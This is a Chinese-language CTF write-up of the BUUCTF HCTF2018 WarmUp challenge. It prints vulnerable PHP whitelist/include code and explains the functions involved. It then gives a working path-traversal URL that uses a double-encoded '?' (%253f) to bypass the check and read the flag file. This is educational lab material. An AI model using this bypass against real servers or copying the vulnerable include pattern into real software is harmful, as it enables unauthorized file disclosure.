1. 程式人生 > 實用技巧 >buuctf - HCTF2018 WarmUp思路

buuctf - HCTF2018 WarmUp思路

BUUCTF 第一題截圖思路

首先開啟之後,一張笑臉,直接果斷F12檢視原始碼,發現註釋程式碼 source.php

然後直接跟在路徑後面,我們看到了原始碼

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset
($page) || !is_string($page)) { echo "you can't see it"; return false; } if (in_array($page, $whitelist)) { return true; } $_page = mb_substr( $page, 0, mb_strpos(
$page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') );
if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } } if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; } ?>

並且又發現了hint.php,我們開啟一下,看到

告訴我們flag不在這裡,並且告訴flag在ffffllllaaaagggg中,害,白高興一場,不過我們繼續往下學習

這是下面我們需要學習到的函式:

isset() : 判斷變數是否被設定,如果變數值為null則返回false,反之返回true

is_string():用於檢測變數是否為字串,返回值也是布林值

in_array(search,array,type):search和array是必需引數 ,search如果在array陣列中,則返回true,如果type型別為true則search必須在陣列中且給定的資料型別要和陣列中的一致才返回true

mb_substr():字串擷取

mb_strsop():判斷字元出現的位置

瞭解過這幾個函式之後,我們就可以看看這個審計題,首先定義了個類 emmm

 class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

看完這個之後,我們可以先不看,直接看下面的if語句

    if (! empty($_REQUEST['file'])      // file變數不能為空
        && is_string($_REQUEST['file'])    // file變數是否為字串
        && emmm::checkFile($_REQUEST['file'])  // chechFile驗證要通過
    ) {
        include $_REQUEST['file'];      //包含file變數中的檔案
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  

然後我們回到checkFile函式

第一個if語句對$page變數進行檢驗,並且要求是字串

第二個if語句看$page是否在$whitelist中

第三個if語句擷取?前面的字串,判斷擷取後的字串是否存在於whitelist陣列中,存在則返回true

第四個if語句判斷擷取後的字串是否存在whitelist陣列中。

如果四個語句都沒有返回值,則返回false

第四個if語句中,先進行url解碼再擷取,因此我們可以將?經過兩次url編碼,在伺服器端提取引數時解碼一次, checkFile函式中解碼一次,仍會解碼為'?',仍可通過第四個if語句校驗。('?'兩次編碼值為'%253f'), 構造url:http://7e7cc394-7efd-4ff5-80ac-795df8b55f8f.node3.buuoj.cn/source.php?file=source.php%253f../../../../../ffffllllaaaagggg 由於我們不知道ffffllllaaaagggg的位置,我們只能手動 ../ 慢慢試 最終得到了我們想要的flag: flag{0fc800e1-cca4-41ac-9690-458cbb551c27}